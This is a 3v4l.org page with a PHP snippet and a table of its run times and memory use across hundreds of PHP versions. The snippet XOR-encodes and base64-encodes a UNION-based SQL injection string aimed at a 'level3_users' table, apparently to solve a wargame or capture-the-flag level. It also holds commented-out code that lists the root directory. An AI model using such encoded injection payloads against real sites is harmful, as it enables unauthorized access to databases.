3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,3,4,5,6,7 FROM level3_users WHERE user=Admin #"); print "\n"; print "\n"; #$handle = opendir('/'); #while (($file = readdir($handle)) !== false) # print $file. "\n"; #closedir($handle); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00618.18
8.3.50.0090.01122.05
8.3.40.0040.01818.98
8.3.30.0110.01119.02
8.3.20.0040.00418.91
8.3.10.0080.00021.07
8.3.00.0080.00023.71
8.2.180.0070.01116.75
8.2.170.0140.00722.96
8.2.160.0140.00020.39
8.2.150.0040.00424.18
8.2.140.0090.00024.66
8.2.130.0060.00326.16
8.2.120.0000.00819.78
8.2.110.0070.00422.25
8.2.100.0030.00818.03
8.2.90.0040.00419.34
8.2.80.0040.00417.97
8.2.70.0030.00617.74
8.2.60.0080.00017.93
8.2.50.0040.00418.07
8.2.40.0000.00818.34
8.2.30.0000.00821.18
8.2.20.0040.00417.84
8.2.10.0040.00417.78
8.2.00.0040.00817.91
8.1.280.0100.01625.92
8.1.270.0000.00723.99
8.1.260.0080.00026.35
8.1.250.0040.00428.09
8.1.240.0050.00522.52
8.1.230.0030.00920.96
8.1.220.0080.00018.77
8.1.210.0080.00018.96
8.1.200.0090.00017.48
8.1.190.0040.00419.31
8.1.180.0000.00818.10
8.1.170.0030.00518.63
8.1.160.0080.00018.95
8.1.150.0030.00518.77
8.1.140.0030.00517.68
8.1.130.0000.00717.77
8.1.120.0040.00417.64
8.1.110.0000.00817.63
8.1.100.0000.00717.63
8.1.90.0040.00417.58
8.1.80.0070.00017.61
8.1.70.0040.00417.52
8.1.60.0040.00417.70
8.1.50.0000.00817.64
8.1.40.0040.00417.71
8.1.30.0000.00717.74
8.1.20.0000.00817.74
8.1.10.0000.00717.62
8.1.00.0040.00417.66
8.0.300.0000.00719.98
8.0.290.0050.00217.05
8.0.280.0000.00718.37
8.0.270.0050.00217.30
8.0.260.0030.00317.04
8.0.250.0080.00017.11
8.0.240.0040.00416.99
8.0.230.0030.00317.11
8.0.220.0000.00916.93
8.0.210.0000.00717.06
8.0.200.0070.00017.01
8.0.190.0000.00717.13
8.0.180.0070.00017.13
8.0.170.0040.00417.08
8.0.160.0030.00317.11
8.0.150.0070.00016.89
8.0.140.0000.00717.05
8.0.130.0030.00313.53
8.0.120.0050.00316.93
8.0.110.0050.00317.08
8.0.100.0000.00716.86
8.0.90.0030.00516.95
8.0.80.0090.00617.11
8.0.70.0000.00716.93
8.0.60.0040.00417.13
8.0.50.0040.00416.89
8.0.30.0090.00917.32
8.0.20.0070.01517.40
8.0.10.0050.00217.07
8.0.00.0110.00917.13
7.4.330.0000.00614.99
7.4.320.0030.00316.78
7.4.300.0070.00016.64
7.4.290.0070.00016.72
7.4.280.0040.00416.82
7.4.270.0040.00416.73
7.4.260.0060.00013.51
7.4.250.0040.00416.66
7.4.240.0000.00716.71
7.4.230.0030.00316.79
7.4.220.0070.01116.83
7.4.210.0080.00616.82
7.4.200.0040.00416.84
7.4.190.0000.00816.72
7.4.160.0000.01616.83
7.4.150.0040.01517.40
7.4.140.0120.00717.86
7.4.130.0080.00816.73
7.4.120.0090.00916.59
7.4.110.0070.01116.65
7.4.100.0090.01317.00
7.4.90.0170.00716.82
7.4.80.0060.01219.37
7.4.70.0060.01216.74
7.4.60.0030.01316.80
7.4.50.0070.00016.69
7.4.40.0060.01022.52
7.4.30.0100.00716.82
7.4.10.0060.01016.63
7.4.00.0070.01015.48
7.3.330.0060.00013.36
7.3.320.0140.00013.35
7.3.310.0070.00016.34
7.3.300.0070.00016.55
7.3.290.0100.01016.49
7.3.280.0060.01016.57
7.3.270.0190.00617.40
7.3.260.0080.01118.24
7.3.250.0100.00716.61
7.3.240.0180.00416.64
7.3.230.0150.00716.40
7.3.210.0080.00816.56
7.3.200.0200.00319.39
7.3.190.0170.00016.82
7.3.180.0060.00916.95
7.3.170.0150.00616.77
7.3.160.0110.00416.46
7.3.130.0140.00716.23
7.3.120.0090.00715.36
7.3.110.0050.00915.42
7.3.100.0050.01015.49
7.3.90.0030.01115.45
7.3.80.0070.00615.36
7.3.70.0040.01015.43
7.3.60.0070.00915.28
7.3.50.0060.00815.33
7.3.40.0060.00815.34
7.3.30.0030.00715.39
7.3.20.0070.00917.21
7.3.10.0090.00617.18
7.3.00.0080.00717.30
7.2.330.0120.00617.01
7.2.320.0050.01416.91
7.2.310.0100.01616.84
7.2.300.0120.00416.72
7.2.290.0120.01116.88
7.2.260.0150.00316.57
7.2.250.0080.01115.72
7.2.240.0080.01015.66
7.2.230.0060.01015.65
7.2.220.0050.00815.56
7.2.210.0050.01015.69
7.2.200.0030.00915.70
7.2.190.0060.00915.65
7.2.180.0050.00815.69
7.2.170.0060.00815.66
7.2.160.0070.01016.86
7.2.150.0150.00318.57
7.2.140.0070.01418.60
7.2.130.0170.00318.73
7.2.120.0130.00618.57
7.2.110.0070.01318.62
7.2.100.0030.01718.63
7.2.90.0150.00418.66
7.2.80.0070.01118.52
7.2.70.0030.01318.73
7.2.60.0070.01118.54
7.2.50.0070.01018.64
7.2.40.0080.00618.63
7.2.30.0100.00718.79
7.2.20.0130.00718.56
7.2.10.0040.01218.60
7.2.00.0050.01119.17
7.1.330.0070.00916.31
7.1.320.0040.00716.48
7.1.310.0060.00916.38
7.1.300.0050.00716.50
7.1.290.0060.00816.38
7.1.280.0040.00916.38
7.1.270.0010.01216.43
7.1.260.0060.00616.25
7.1.250.0030.00617.50
7.1.240.0110.00617.48
7.1.230.0040.01117.59
7.1.220.0130.00317.45
7.1.210.0040.01317.42
7.1.200.0040.01217.50
7.1.190.0140.00317.54
7.1.180.0060.01217.61
7.1.170.0070.00717.31
7.1.160.0040.00917.36
7.1.150.0040.00817.55
7.1.140.0030.01417.49
7.1.130.0110.00717.50
7.1.120.0060.01017.50
7.1.110.0150.00017.40
7.1.100.0080.00717.93
7.1.90.0130.00417.38
7.1.80.0120.00417.38
7.1.70.0080.00517.60
7.1.60.0130.00818.49
7.1.50.0060.01417.15
7.1.40.0100.00717.57
7.1.30.0040.01517.48
7.1.20.0040.01117.66
7.1.10.0030.01217.54
7.1.00.0030.03019.93
7.0.330.0090.00917.18
7.0.320.0080.00817.23
7.0.310.0000.01017.11
7.0.300.0040.01117.27
7.0.290.0060.01317.36
7.0.280.0000.01517.14
7.0.270.0060.01017.31
7.0.260.0070.00717.22
7.0.250.0000.01517.32
7.0.240.0030.01317.10
7.0.230.0100.00717.38
7.0.220.0070.01117.42
7.0.210.0110.00417.13
7.0.200.0020.01017.07
7.0.190.0090.00617.07
7.0.180.0060.01017.30
7.0.170.0060.00917.27
7.0.160.0000.01017.29
7.0.150.0140.00317.23
7.0.140.0070.05219.65
7.0.130.0130.00317.30
7.0.120.0060.00917.14
7.0.110.0100.00717.16
7.0.100.0140.00317.11
7.0.90.0070.01017.27
7.0.80.0070.00717.01
7.0.70.0120.03919.43
7.0.60.0090.04419.41
7.0.50.0070.04519.65
7.0.40.0060.04817.63
7.0.30.0130.03817.57
7.0.20.0100.04417.64
7.0.10.0070.03817.55
7.0.00.0100.04417.61
5.6.400.0070.00715.94
5.6.390.0080.00816.14
5.6.380.0100.00316.37
5.6.370.0120.00316.23
5.6.360.0080.00515.91
5.6.350.0050.00815.68
5.6.340.0100.00716.34
5.6.330.0090.00616.00
5.6.320.0030.00915.93
5.6.310.0060.00915.94
5.6.300.0040.01216.10
5.6.290.0000.01716.34
5.6.280.0090.03818.42
5.6.270.0070.00716.17
5.6.260.0140.00316.22
5.6.250.0070.01015.70
5.6.240.0030.01315.80
5.6.230.0130.00315.89
5.6.220.0080.04318.15
5.6.210.0060.02618.22
5.6.200.0040.05018.40
5.6.190.0040.03618.68
5.6.180.0100.04518.36
5.6.170.0070.04518.56
5.6.160.0090.04318.60
5.6.150.0090.03018.41
5.6.140.0060.04718.58
5.6.130.0070.05018.46
5.6.120.0070.03718.63
5.6.110.0100.04218.34
5.6.100.0060.04118.56
5.6.90.0030.03318.62
5.6.80.0050.04418.12
5.6.70.0080.04318.20
5.6.60.0070.02618.13
5.6.50.0070.04218.20
5.6.40.0030.04718.20
5.6.30.0140.03518.20
5.6.20.0050.03418.26
5.6.10.0090.04518.13
5.6.00.0130.03018.15
5.5.380.0180.00416.04
5.5.370.0090.01216.21
5.5.360.0080.03118.27
5.5.350.0110.04218.32
5.5.340.0130.04118.44
5.5.330.0080.02918.45
5.5.320.0090.04418.38
5.5.310.0080.04518.58
5.5.300.0050.04018.41
5.5.290.0090.04118.44
5.5.280.0130.04418.49
5.5.270.0040.04818.49
5.5.260.0110.04718.47
5.5.250.0110.04418.35
5.5.240.0090.04418.09
5.5.230.0090.04718.18
5.5.220.0100.04218.09
5.5.210.0070.02718.10
5.5.200.0120.03318.10
5.5.190.0110.04718.01
5.5.180.0110.03717.93
5.5.170.0170.00716.06
5.5.160.0050.03618.10
5.5.150.0110.04118.09
5.5.140.0140.03118.13
5.5.130.0100.04018.07
5.5.120.0090.03218.11
5.5.110.0050.04418.10
5.5.100.0110.03817.91
5.5.90.0070.04618.00
5.5.80.0020.04217.88
5.5.70.0090.02718.05
5.5.60.0080.03418.03
5.5.50.0070.02917.98
5.5.40.0080.04218.03
5.5.30.0090.04318.03
5.5.20.0080.04317.98
5.5.10.0070.02615.55
5.5.00.0060.03417.94
5.4.450.0090.04316.25
5.4.440.0070.04616.14
5.4.430.0100.04116.20
5.4.420.0110.04016.01
5.4.410.0100.04315.93
5.4.400.0070.04215.80
5.4.390.0080.04115.84
5.4.380.0090.03815.98
5.4.370.0050.03215.98
5.4.360.0070.04415.86
5.4.350.0100.04015.77
5.4.340.0110.03015.95
5.4.330.0070.00712.77
5.4.320.0050.04015.80
5.4.310.0110.03015.88
5.4.300.0020.04515.94
5.4.290.0060.04115.76
5.4.280.0080.03815.91
5.4.270.0100.04215.98
5.4.260.0130.03616.01
5.4.250.0100.03916.00
5.4.240.0050.04315.95
5.4.230.0080.03515.83
5.4.220.0030.04015.98
5.4.210.0080.03915.96
5.4.200.0100.03915.79
5.4.190.0060.04215.94
5.4.180.0050.04115.84
5.4.170.0070.03716.03
5.4.160.0060.02315.96
5.4.150.0050.05615.91
5.4.140.0020.04414.52
5.4.130.0060.02714.70
5.4.120.0070.03514.54
5.4.110.0080.04014.62
5.4.100.0050.02314.59
5.4.90.0050.03614.67
5.4.80.0040.04314.67
5.4.70.0050.02314.60
5.4.60.0030.04114.54
5.4.50.0040.04214.58
5.4.40.0050.04214.70
5.4.30.0060.04114.52
5.4.20.0040.03614.71
5.4.10.0060.03714.63
5.4.00.0090.02914.36
5.3.290.0020.03713.96
5.3.280.0070.04313.81
5.3.270.0050.03513.84
5.3.260.0070.03613.78
5.3.250.0060.02613.94
5.3.240.0050.02213.78
5.3.230.0050.03713.98
5.3.220.0070.03213.81
5.3.210.0030.03313.81
5.3.200.0080.03213.78
5.3.190.0100.04013.85
5.3.180.0090.03913.88
5.3.170.0050.03113.87
5.3.160.0070.04013.94
5.3.150.0050.04513.99
5.3.140.0060.04013.85
5.3.130.0090.03613.79
5.3.120.0090.04113.80
5.3.110.0090.04013.84
5.3.100.0090.04113.72
5.3.90.0080.04013.69
5.3.80.0060.04113.61
5.3.70.0060.03213.47
5.3.60.0040.04213.63
5.3.50.0070.03413.49
5.3.40.0060.03813.42
5.3.30.0100.03113.53
5.3.20.0040.04313.45
5.3.10.0090.03913.26
5.3.00.0100.02413.19
5.2.170.0030.06012.16
5.2.160.0030.06012.16
5.2.150.0000.05012.16
5.2.140.0000.06312.16
5.2.130.0070.06012.16
5.2.120.0070.06012.16
5.2.110.0030.05312.16
5.2.100.0000.06312.16
5.2.90.0030.06012.16
5.2.80.0070.05712.16
5.2.70.0000.05312.16
5.2.60.0070.05012.16
5.2.50.0070.05712.16
5.2.40.0030.05312.16
5.2.30.0000.05312.16
5.2.20.0100.04312.16
5.2.10.0030.03312.16
5.2.00.0030.06012.16
5.1.60.0030.04312.16
5.1.50.0030.03012.16
5.1.40.0030.02312.16
5.1.30.0070.05012.16
5.1.20.0000.05312.16
5.1.10.0030.05012.16
5.1.00.0000.02712.16
5.0.50.0000.05012.16
5.0.40.0000.06012.20
5.0.30.0030.03312.20
5.0.20.0070.01712.20
5.0.10.0000.04312.20
5.0.00.0000.04312.20
4.4.90.0000.04012.16
4.4.80.0030.02712.16
4.4.70.0000.02712.16
4.4.60.0030.03012.16
4.4.50.0000.03312.16
4.4.40.0000.02712.16
4.4.30.0000.02012.16
4.4.20.0030.03712.16
4.4.10.0000.03712.16
4.4.00.0000.05312.20
4.3.110.0030.01712.20
4.3.100.0030.03012.20
4.3.90.0000.03712.20
4.3.80.0000.04712.20
4.3.70.0030.02012.20
4.3.60.0000.03712.20
4.3.50.0000.03012.20
4.3.40.0000.05712.20
4.3.30.0000.04012.20
4.3.20.0070.03012.20
4.3.10.0000.02712.20
4.3.00.0000.03712.20

preferences:
52.62 ms | 401 KiB | 5 Q